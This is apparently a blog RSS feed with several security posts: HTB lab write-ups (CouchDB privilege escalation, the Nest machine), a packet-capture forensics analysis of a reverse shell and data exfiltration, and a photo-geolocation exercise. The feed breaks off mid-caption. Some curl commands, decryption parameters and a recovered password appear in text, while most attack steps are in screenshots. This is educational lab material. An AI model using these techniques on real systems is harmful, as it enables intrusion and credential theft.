you can see more actions than mine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xNec7vBgJwlsErZQmaCyPQ.png" /><figcaption>Figure 13: Delivering Malicious Payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*b3VuThvIRkQtRVoFm_PQZg.png" /><figcaption>Figure 14: Catching The Reverse Shell</figcaption></figure><h3>Post Exploitation</h3><p>Alright, where is the flag? None to be seen! :P<br>I was looking around configurations files put once I saw that there was local user named homer I knew that I have to escalate my privileges to that user.</p><p>The information that I haven’t used up until now is that there is a CouchDB server running in the background localhost:5984, localhost:5986</p><pre>Active Internet connections (servers and established)<br>Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer<br>tcp        0      0 0.0.0.0:65535           0.0.0.0:*               LISTEN      off (0.00/0/0)<br>tcp        0      0 127.0.0.1:5984          0.0.0.0:*               LISTEN      off (0.00/0/0)<br>tcp        0      0 127.0.0.1:5986          0.0.0.0:*               LISTEN      off (0.00/0/0)<br>tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      off (0.00/0/0)<br>tcp        0      0 0.0.0.0:4369            0.0.0.0:*               LISTEN      off (0.00/0/0)<br>tcp        0      0 0.0.0.0:37173           0.0.0.0:*               LISTEN      off (0.00/0/0)<br>tcp        0      0 127.0.0.1:44480         127.0.0.1:4369          ESTABLISHED off (0.00/0/0)<br>tcp        1      0 127.0.0.1:45728         127.0.0.1:5984          CLOSE_WAIT  off (0.00/0/0)<br>tcp        0      0 127.0.0.1:4369          127.0.0.1:44480         ESTABLISHED off (0.00/0/0)<br>tcp        1      0 127.0.0.1:45730         127.0.0.1:5984          CLOSE_WAIT  off (0.00/0/0)<br>tcp        0      0 10.129.236.49:80        10.10.14.3:40146        ESTABLISHED keepalive (6798.34/0/0)<br>tcp        0    157 10.129.236.49:44982     10.10.14.3:1337         ESTABLISHED on (0.26/0/0)<br>tcp6       0      0 :::65535                :::*                    LISTEN      off (0.00/0/0)<br>tcp6       0      0 :::4369                 :::*                    LISTEN      off (0.00/0/0)</pre><p>Researching around how to curl my way to CouchDB, I found myself able to enumerate some databases like simpsons which the default database of the application but databases like passwords was unable to do so due to luck of privileges. For your information, you can enumerate all the databases but requesting curl <a href="http://localhost:5984/_all_dbs">http://localhost:5984/_all_dbs</a></p><h4>CouchDB Remote Privilege Escalation Exploitation</h4><p>Alright, alright, alright. Are there any known vulnerabilities? Yeap!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T-THgZUfT15QvsKkFe6mag.png" /><figcaption>Figure 15: CouchDB Remote Privilege Escalation</figcaption></figure><p>By manually executing the payload, which can be found <a href="https://www.exploit-db.com/exploits/44498">here</a>, we were able to add a admin user in the CouchDB.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oHa-gxdmfohXNzaotklBtA.png" /><figcaption>Figure 16: Privilege Escalation Payload</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*ipbwydeTUcGIgPWk5H8iAw.png" /><figcaption>Figure 17: Delivery via PUT Method</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yrj5RizDZdd4P2NAoiW6ng.png" /><figcaption>Figure 18: Successful Privilege Escalation Payload</figcaption></figure><p>Let’s authenticate as superuser and enumerate the database passwords. In order to do so execute curl http://&lt;user&gt;:&lt;passwd&gt;@127.0.0.1:5984/passwords/_all_docs</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yIBgLAQPWZVzlA61TEd4XQ.png" /><figcaption>Figure 19: Successful Enumeration After Privilege Escalation</figcaption></figure><p>Now what is left to do is querying each id separately in order to retrieve the record associated with it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aJqkTiQ9XNFEBlCiLbekTA.png" /><figcaption>Figure 20: Retrieving Password Records</figcaption></figure><p>Pull your face away from the screen, I have all the information nice and clean below :P</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8lCeSKJFgWTCEAbhbl_CiQ.png" /><figcaption>Figure 21: User — Password Associations</figcaption></figure><p>Having such an information in our hands, we can finally connect into the machine using the first password. Yes, the one with user &quot;&quot;. Observe the first record, it has an entry &quot;item&quot;:&quot;ssh&quot;.</p><h4>Connecting as Homer via SSH</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H4AH5vOo36mcvfmRKpwcPg.png" /><figcaption>Figure 22: Successful Access via SSH</figcaption></figure><p>Finally, after all this effort, we got the user flag!</p><h4>Root Privilege Escalation</h4><p>By executing sudo -l, we observe that the homer is able to execute sudo with /usr/bin/pip</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*Kjl4AzIISPCBx7kPRVum_w.png" /><figcaption>Figure 23: Root Privilege Escalation Path</figcaption></figure><p>By following the escalation technique presented in GTFObins, we were able to escalate our privileges and get the root flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*2J2pbIR94kbK4351Ue2ocA.png" /><figcaption>Figure 24: GTFObins Escalation Technique</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9s_J7-074759qJka2Km6pw.png" /><figcaption>Figure 25: Success Root Privilege Escalation</figcaption></figure><h3>Conclusion</h3><p>I didn’t put in the title the word <em>walk-through</em> as this is rather a bloody journal than a walk-through. I choose that theme as I wanted to display the whole process, researching, putting things together, frustration upon small details which make the difference and my mention of peaking at the solution. Peaking at the solution is not bad, stop learning is.</p><p>So thank you for staying up to this point ;)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3abede913f2e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GEOSINT: River Ziz Lookout]]></title>
            <link>https://medium.com/@stavrosgounis/geosint-river-ziz-lookout-292d5326c2f9?source=rss-fbe4f961402d------2</link>
            <guid isPermaLink="false">https://medium.com/p/292d5326c2f9</guid>
            <category><![CDATA[geolocation]]></category>
            <category><![CDATA[geoint]]></category>
            <dc:creator><![CDATA[Stavros Gkounis]]></dc:creator>
            <pubDate>Mon, 26 Jun 2023 18:25:59 GMT</pubDate>
            <atom:updated>2023-06-26T18:25:59.061Z</atom:updated>
            <content:encoded><![CDATA[<p>Hello my fellow reader, in this post I’ll describe how I geolocated a picture that got my attention and made think where in this world this picture was taken.</p><h3>Original Picture</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bt9yL8Q03d05frITCNOaxw.jpeg" /><figcaption>Figure 1: Original Picture</figcaption></figure><h3>Hunting</h3><p>My first thoughts by just looking at the picture were that the location is probably middle east or northern part of Africa. Next, I researched where in the world Palm tree can grow, which didn’t yield fruitful results at to pinpoint the location.</p><h4>Reverse Image Search</h4><p>My next move was to throw the image in a reverse image search engine, in my case Google Lens</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4R5qoiywqNC93pnbCb4wag.png" /><figcaption>Figure 2: Google Lens Results</figcaption></figure><p>The first result redirected me to a ruined village of Al Hamra, Oman, and yet the third result made me to focus my investigation to a different route which was the correct one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TiOHtWPl1yqN91BKxzJHOw.png" /><figcaption>Figure 3: Additional Images From The 3rd Result of Google Lens</figcaption></figure><p>The photo with title <em>Oasis in central Morocco </em>(inside the red rectangle) looks familiar!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gYSCqVJjqWUvrlZFVJQJUQ.png" /><figcaption>Figure 4: Original Photo (Zoomed)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*ruhdBD6Z9Nxwoj7FogHMfA.png" /><figcaption>Figure 5: Oasis in central Morocco Image</figcaption></figure><p>At this stage of the investigation, we have pinpoint ourselves to a specific country, Morocco. Welcome aboard!</p><p>The scenery from the 2nd result of Google Lens (Figure 2), <em>tafilalet and rissani</em>, look familar but not quite right. So I chose to investigate a bit more each location which yielded a very interesting picture on google maps.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Uzb9HNpBkFsm2m0WyCd5mw.png" /><figcaption>Figure 6: Tafilalt — Google Maps Image</figcaption></figure><p>At this stage, I have narrowed my investigation even more but it’s not good enough. I want to know the exact location where these pictures were taken from. Therefore, I have to find the location on Google Maps.</p><p>After spending an unhealthy amount of hours pursuing my hypothesis <em>It must be on the National Route 13 of Morocco</em> which most people ride, I abandoned the hypothesis as the investigation didn’t yield valuable results. Though at the end of the investigation, I found out that during testing the hypothesis I found a location that I describe it as <em>Nah! It isn’t this location</em>. Think the best of me, I didn’t have much information in my hand by that time!</p><p>That being said, I decided to research some more the location Tafilalt and try to find more similar photos two of them helped me to pinpoint the exact location.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w3KDySDTrsU5wlOQAnsqpA.jpeg" /><figcaption>Figure 7: Similar Photo 1 on Alamy</figcaption></figure><p>This photo is just one of the pictures that aid my investigation. Focus on the left side of the picture! It seems some kind of bridge and on the bottom there is a river which strengthens our statement.</p><p>The other photo that helped to connect the dots was the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ziV2-PVz_59SPqGeiOenPA.png" /><figcaption>Figure 8: Similar photo 2 — Google Maps</figcaption></figure><p>I like puzzles so lets connect the Figure 7 and 8 together</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MYz9J_dhOz30HvddQRQC_w.png" /><figcaption>Figure 9: Connecting Together Figure 7 and 8 (Obsidian Canvas)</figcaption></figure><p>Now the question is <em>how am I supposed to find the bridge?</em>. Well, where do we find bridges? In location where rivers and roads are crossed. So I navigated around google maps and I ended up to the following location.</p><h4>Google Maps</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MdeMAAQVGx89730vDbcrIw.png" /><figcaption>Figure 10: Possible Bridge Identification</figcaption></figure><p>This looks like the curve and the bridge that we saw in the pictures above. Let’s zoom a little bit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WpjQ02GSmxrAwpAw8_PRUw.png" /><figcaption>Figure 11: Figure 10 (Zoomed)</figcaption></figure><p>Observe the pink rectangle, it’s the same location as the pink rectangle in Figure 8</p><p>Let’s confirm the existence of the two power towers too.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dcv9KdCml8zsYAilcqxQWQ.png" /><figcaption>Figure 12: Mountain and Power Tower</figcaption></figure><p>You are not the only one who says, how on earth did you see the power tower. Let’s zoom a bit further!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Aefy9ZYE_y74LQV3IEhn9A.png" /><figcaption>Figure 13: Mountain and Power Tower (Zoomed)</figcaption></figure><p>I believe it is better now, isn’t it?</p><p>If you observe Figure 7, you will find out that the power tower is above the last building looking at the picture from left to right. Therefore, zooming into the location above the last building we were able to identify the second power tower.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4HX5g-T_03wogokMpnk_rg.png" /><figcaption>Figure 14: Identifying Second Power Tower</figcaption></figure><p>At this stage we are one step from concluding our investigation. We should identify some building on the Google Maps that appear in the original picture. With no further ado:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OEGe7irAhm5n2OjAYLqSWg.png" /><figcaption>Figure 15: Original Picture (Building complex and Tower-like Building)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r9LwNQ3FsKw-EoYX6RhsRg.png" /><figcaption>Figure 16: Google Maps Building Identification</figcaption></figure><p>This signals the end of our investigation as we are confident of the location where the photos were taken, that see somewhere along the <a href="https://www.google.com/maps/@32.0823466,-4.3846056,784m/data=!3m1!1e3?entry=ttu"><em>River Ziz Lookout</em></a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J-p4_WEeKlPJPk27jPAsHA.png" /><figcaption>Figure 17: Location Where The Pictures Were Taken</figcaption></figure><p>Thank you for riding with me around Morocco ;)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=292d5326c2f9" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[MarketDump (HTB Challenge)]]></title>
            <link>https://medium.com/@stavrosgounis/marketdump-htb-challenge-4323ae6a238f?source=rss-fbe4f961402d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4323ae6a238f</guid>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[forensics]]></category>
            <category><![CDATA[traffic-analysis]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[wireshark]]></category>
            <dc:creator><![CDATA[Stavros Gkounis]]></dc:creator>
            <pubDate>Sun, 22 Jan 2023 22:11:41 GMT</pubDate>
            <atom:updated>2023-01-22T22:11:41.242Z</atom:updated>
            <content:encoded><![CDATA[<p>MarketDump is a forensics challenge offered by HTB and is part of the <em>Intro to Dante Track</em></p><p>According to the challenge</p><blockquote>We have got informed that a hacker managed to get into our internal network after pivoting through the web platform that runs in public internet. He managed to bypass our small product stocks logging platform and then he got our costumer database file. We believe that only one of our costumers was targeted. Can you find out who the customer was?</blockquote><h3>Patient Zero</h3><p>From the description we got informed that a threat actor managed to get into internal network. Let’s identify the compromised host. First thing that we want to do is to inspect the conversation by clicking <em>Statistics → Conversation → IPv4</em> (<em>Figure 1</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Du4GP4zdMpwcp9_DaIFaSg.png" /><figcaption>Figure 1: Traffic Between Hosts</figcaption></figure><p>As we can see there are <strong>2,848 packets</strong> exchanged between <strong><em>10.0.2.15</em></strong> and <strong><em>10.0.2.3.</em></strong> Thereafter, the host is <em>10.0.2.15</em> may be our patient zero</p><h3>TCP Traffic</h3><p>By inspecting the TCP traffic by clicking on the TCP tab we can see some ports that stand out, whereas all the others with 2 total packets are probably traffic generated during port scanning (<em>Figure 2</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aeFy50uKqbKGyq9dHCK16Q.png" /><figcaption>Figure 2: Top TCP Ports</figcaption></figure><h3>UDP Traffic</h3><p>UDP traffic analysis didn’t yield anything suspicious. Port <em>123/udp</em> is the <em>NTP (Network Time Protocol)</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eyCTWBGNVXOneuO7_LuZsg.png" /><figcaption>Figure 3: Top UDP Ports</figcaption></figure><h3>Inspecting Ports</h3><h4>Port 5432 (Postgresql)</h4><p>Setting the boolean expression ip.addr==10.0.2.3 &amp;&amp; tcp.port==5432 we can observe two packets utilizing <strong>PGSQL</strong> protocol, that is on 5432 a postgresql server is running on the host (<em>Figure 4, 5</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Nco1OFvZuEYLBPpS2c7nhg.png" /><figcaption>Figure 4: Compromised host to server PGSQL Traffic</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gj_3VFxdqtVbdLVo4tC3GQ.png" /><figcaption>Figure 5: Server’s Response</figcaption></figure><p>In Figure 4, the packet seems to be something entirely different from PGSQL protocol. It seems like an SMB dialect negotiation as, most of the SMB <a href="https://flylib.com/books/en/4.152.1.205/1/">dialects</a> are presented in the packet</p><h4>Port 23 (Telnet)</h4><p>By following the TCP stream of the port 23, the artifacts presented in <em>Figure 6,7</em> and <em>8</em> which let draw the conclusion that the attacker got a reverse shell on host <em>10.0.2.3</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/904/1*MhWFVltDfbQYscs3eLW6mg.png" /><figcaption>Figure 6: Successful Authentication of admin User</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*hC0riqPvu0lajzK587Wjxw.png" /><figcaption>Figure 7: Reconnaissance — Checking whether nc is installed</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rJ-4VP1MJ3lkBpkhe7PPlg.png" /><figcaption>Figure 8: Getting a Reverse Shell on Host 10.0.2.3</figcaption></figure><h4>Port 9999 (Reverse Shell)</h4><p>Following the TCP stream on port 9999, we were able to retrieve the following history of commands</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/936/1*LSawG6N4UJyf2DKnIGdAgA.png" /><figcaption>Figure 9: CMD-1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/406/1*Iy3eAnO9ISiu0YAW0HuBaA.png" /><figcaption>Figure 10: CMD-2</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/952/1*U8f_tFHte2NL_se9502uxA.png" /><figcaption>Figure 11: CMD-3</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/128/1*jYFjzOddwiBAp36pmSeaGw.png" /><figcaption>Figure 12: CMD-4</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/1*nTjBQq2x7eK5r0kQVAsjVA.png" /><figcaption>Figure 13: CMD-4</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JA8h5BgvEaZACNVVIvUPaw.png" /><figcaption>Figure 14: CMD-5</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*GARUjRqtQQtPoOQEs8YROA.png" /><figcaption>Figure 15: CMD-6</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/380/1*fGWJMXVT-ftBdT0DRcXyMQ.png" /><figcaption>Figure 16: CMD-7</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/132/1*7IGoGyNqDgHqOO5qKeawxA.png" /><figcaption>Figure 17: CMD-8</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rKsBUkpn3dCPy5dJlGG5eA.png" /><figcaption>Figure 18: CMD-9</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/528/1*u8iDJ_tl5p4RXyCCTKQrKA.png" /><figcaption>Figure 19: CMD-10</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*U7KWrjqUO6J0XBubaqI58A.png" /><figcaption>Figure 20: Contents of costumers.sql &lt;truncated&gt;</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NlSeHK9yPKUON5cxem8jww.png" /><figcaption>Figure 21: CMD-12</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/332/1*hyFDM_dC-TunUqmz76bDAQ.png" /><figcaption>Figure 22: CMD-13</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Sua6azcWFTP57oLWGE583g.png" /><figcaption>Figure 23: CMD-14</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/94/1*7b0F0-wruEh_EmQPTq-J-Q.png" /><figcaption>Figure 24: CMD-15</figcaption></figure><p>We can see from the history that the threat actor got a reverse shell on the target and</p><ol><li>Conducted a situation awareness by listing files, querying in which directory is now and as what user is he on the target</li><li>Having identified files of interest, he copied it to <em>/tmp</em> folder</li><li>Opened a temporary web server for data exfiltration on port <em>9998</em></li><li>Exfiltrated the file of interest, <em>costumers.sql</em></li><li>Deleted the file from <em>/tmp</em> folder</li><li>Terminated the session</li></ol><h4>HTTP Requests</h4><p>By clicking on Statistics → HTTP → Requests, we can inspect the HTTP requests that were requested by the threat actor (<em>Figure 25</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RXeOKTaq5quIbVKkjfIjzw.png" /><figcaption>Figure 25: HTTP Requests</figcaption></figure><p>Moreover, we can see requests like <em>/HNAP1</em> which strengths our hypothesis that the port scanning was conducted with the tool <em>nmap</em></p><h4><a href="http://10.0.2.3:9998/"><strong>http://10.0.2.3:9998/</strong></a><strong> Request</strong></h4><p>Inspecting the packets exchanged for the accessing the base directory of the malicious web server opened on the target host we have the following Request and Response headers (<em>Figure 26, 27</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*wtM_8iutIGfwOm4fLY9EjQ.png" /><figcaption>Figure 26: Request Header</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8y5oxQ7uSTz5OdmPA90vQA.png" /><figcaption>Figure 27: Response Header — Listing of files and directories</figcaption></figure><h4><a href="http://10.0.2.3:9998/customers.sql">http://10.0.2.3:9998/customers.sql</a> Request</h4><p>The threat actors exfiltrates the contents of the file <em>customers.sql</em> as we can see in <em>Figure 28, 29</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*cXGNaWpLXFdexzSyITL2Kg.png" /><figcaption>Figure 28: Download Request With wget Tool</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/882/1*gY32p3ljaEBPEgeYbA6Dtw.png" /><figcaption>Figure 29: Response To Download Request — Truncated</figcaption></figure><h3>Acquiring The Flag</h3><p>If we inspect the records of the <em>customers.sql</em> file carefully, an entry stands out (<em>Figure 30</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aBXXiNvGBJ6LN63IW-KoTg.png" /><figcaption>Figure 30: Entry in customers.sql file</figcaption></figure><p>By utilizing the capabilities of <em>CyberChef</em> we were able to decode the encoding string and acquire the flag (<em>Figure 31</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J5skIig27rg0ip-8rEMQ2A.png" /><figcaption>Figure 31: Decoding String</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4323ae6a238f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Nest (HTB)]]></title>
            <link>https://medium.com/@stavrosgounis/nest-htb-c063db19ea43?source=rss-fbe4f961402d------2</link>
            <guid isPermaLink="false">https://medium.com/p/c063db19ea43</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[htb-writeup]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[red-team]]></category>
            <dc:creator><![CDATA[Stavros Gkounis]]></dc:creator>
            <pubDate>Sat, 21 Jan 2023 17:27:30 GMT</pubDate>
            <atom:updated>2023-01-22T11:43:37.021Z</atom:updated>
            <content:encoded><![CDATA[<p>This is part of the HTB track under the name of <em>Intro to Dante</em></p><blockquote>A little heads up, I utilized two VMs for this challenge. A Kali Linux for performing the attack and a Windows Machine for the reverse engineering of a binary</blockquote><h3>Reconnaissance</h3><p>The results of the nmap tool yielded that two ports are open, 445 and 4386 (<em>Figure 1</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EFF54gVEcJ7H4W-Qs96NcQ.png" /><figcaption>Figure 1: nmap Service Scan</figcaption></figure><h3>Enumeration</h3><h4>Port 445 (SMB)</h4><p>By utilizing the <em>smbclient</em> tool, we found out that there are the shares presented in <em>Figure 2</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BpjX-bc_9UTNC2GrQtFwAA.png" /><figcaption>Figure 2: Shares</figcaption></figure><p>In the beginning, I tortured myself a little bit, because I conduct the enumeration process manually but there is a tool under the name of <em>smbmap</em> which can do that work automatically and save some time! So there is a file on path <em>\Data\Shared\Templates\HR\</em> under the name of <em>Welcome Email.txt</em> which contains a password for a temporary account, <em>TempUser</em> (<em>Figure 3</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ju2LwdLeK631fqcJFlisxQ.png" /><figcaption>Figure 3: Welcome Email contents</figcaption></figure><p>Conducting the same process, we were able to access a couple more valuable files (<em>Figure 4, 5, 6</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eqGPwID7cuoQxlfclMU22A.png" /><figcaption>Figure 4: \IT\Configs\Atlas\TEMP.config contents</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KD_FPzn00orJ3rpLj68jEQ.png" /><figcaption>Figure 5: \IT\Configs\NotepadPlusPlus\config.xml Contents</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d65kyeFg-uMSjhtO4XzQ2Q.png" /><figcaption>Figure 6: \IT\Configs\RU Scanner\RU_config.xml Contents</figcaption></figure><p>From:</p><ul><li><em>Figure 4</em> → Based on the namespace of the usernames, <em>d.meyer</em>, <em>j.lenehand</em>, <em>r.ohara</em> may be on the system as well (Though <em>crackmapexec</em> didn’t yield any results!)</li><li><em>Figure 5</em> → <em>\IT\Carl</em> directory is interesting as <em>Secure$</em> was not <em>listable</em></li><li><em>Figure 6</em> → We can see that we have a username and encrypted password</li></ul><p>Now if we navigate to <em>Secure$\IT\Carl\</em>, we will see a folder under the name of VB Projects. The project of interest is <em>Secure$\IT\Carl\VB Projects\WIP\RU\RUScanner</em> in which contains a file with the Visual Basic code in <em>Figure 7</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k5_jry_iFL05kN0m5FsR4Q.png" /><figcaption>Figure 7: Visual Basic Code — Encryption / Decryption</figcaption></figure><p>If we translate the above code to C# and run the code in <em>Figure 8</em>, we take the password <strong><em>xRxRxPANCAK3SxRxRx</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xqR0t-TJiMLpsPadSXB8wg.png" /><figcaption>Figure 8: C# Equivalent of VB Code</figcaption></figure><p>Now having in our hands the credentials of the <em>c.smith</em> we can map out the <em>Users</em> shares (<em>Figure 9</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vNAVGlUwc5GCzrcKfPc9Zw.png" /><figcaption>Figure 9: \Users\C.Smith\ Contents</figcaption></figure><p>This took me a while until I ask myself, <em>why there is an empty file in the share?</em> I have crossed paths with such a situation in the past while engaging a CTF, and as a rule of thumb if you hit your head in a wall and there is an empty file or files that don’t provide any real value at first glance, look their attributes</p><p>So after reminding myself of the commands that we can execute on port 4386 and releasing that the file <em>Debug Mode Password.txt</em> should hide something, I found out that there is a <em>ADS</em> stream on the file (<em>Figure 10</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*kTFzQGQO4tikVm2MPaa6hA.png" /><figcaption>Figure 10: Alternate Data Stream on Debug Mode Password.txt</figcaption></figure><p>So by downloading the data stream locally we have access to a password that we can use it with <em>HQK Reporting service</em> (<em>Figure 11, 12</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T0g2IbKad60j70RUEsKKpA.png" /><figcaption>Figure 11: Downloading The ADS Stream Locally</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*AghtUchejF7kdFdlSMx7SQ.png" /><figcaption>Figure 12: Debug Password</figcaption></figure><h4>Port 4386</h4><p>Having all this information in our hands and enumerating the service 4386 utilizing <em>LIST</em>, <em>SETDIR</em> and <em>SHOWQUERY</em> commands, we were able to access a file that has an encrypted password for admin, though our previous code didn’t work (<em>Figure 13, 14</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W1CADLnLtJX-8ql_roG_xQ.png" /><figcaption>Figure 13: Ldap.conf contents</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1HUR2iuPMJQ0mxC4itJ-Cw.png" /><figcaption>Figure 14: Error in our Previous Code</figcaption></figure><p>That make us thinking that we may have different arguments.</p><p>Do you remember that we have access to a binary file named <em>HqkLdap.exe</em> from <em>Figure 9</em>? Well, by utilizing <a href="https://github.com/horsicq/Detect-It-Easy">Detect It Easy</a> we know that binary was programed in VB .NET (<em>Figure 15</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xamZ29lMW629kgnSR_C33g.png" /><figcaption>Figure 15: Detect It Easy tool</figcaption></figure><blockquote>In order to proceed with the reverse engineering part, you will need a Windows Machine</blockquote><p>From there, by utilizing a tool under the name of <a href="https://github.com/dnSpy/dnSpy">dnSpy</a> which is .NET debugger and assembly editor (<em>Figure 16</em>), we were able to conclude that our previous C# code works fine. It is the arguments that differ (<em>Figure 17, 18</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*67-oiQHRCRL7Xxj0-3qFSQ.png" /><figcaption>Figure 16: Downloading dnSpy from GitHub Releases</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*odtvy1XX2QrflsxBQxP8Zw.png" /><figcaption>Figure 17: Decrypt Function</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yf28Wa9QNLVC0jSCiyfvXQ.png" /><figcaption>Figure 18: Values of RE functions</figcaption></figure><p>By changing the arguments of our Decrypt function to the (adminCipherText, &quot;667912&quot;, &quot;1313Rf99&quot;, 3, &quot;1L1SA61493DRV53Z&quot;, 256) and executing our code, we get that the admin’s password (<em>Figure 19, 20</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Xn9zTbNpgprfiQ5vSSJGrg.png" /><figcaption>Figure 19: Modified C# Code</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/732/1*E8eO3hmV1_rA5SB_RsJvtw.png" /><figcaption>Figure 20: Output of C# Code</figcaption></figure><p>Finally by utilizing the above password with <em>impacket</em> tool <em>psexec</em> we got access to the host as <em>NT AUTHORITY\SYSTEM</em> (<em>Figure 21</em>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3DGsTskbihd3BFQofkg3aw.png" /><figcaption>Figure 21: Access on Host as 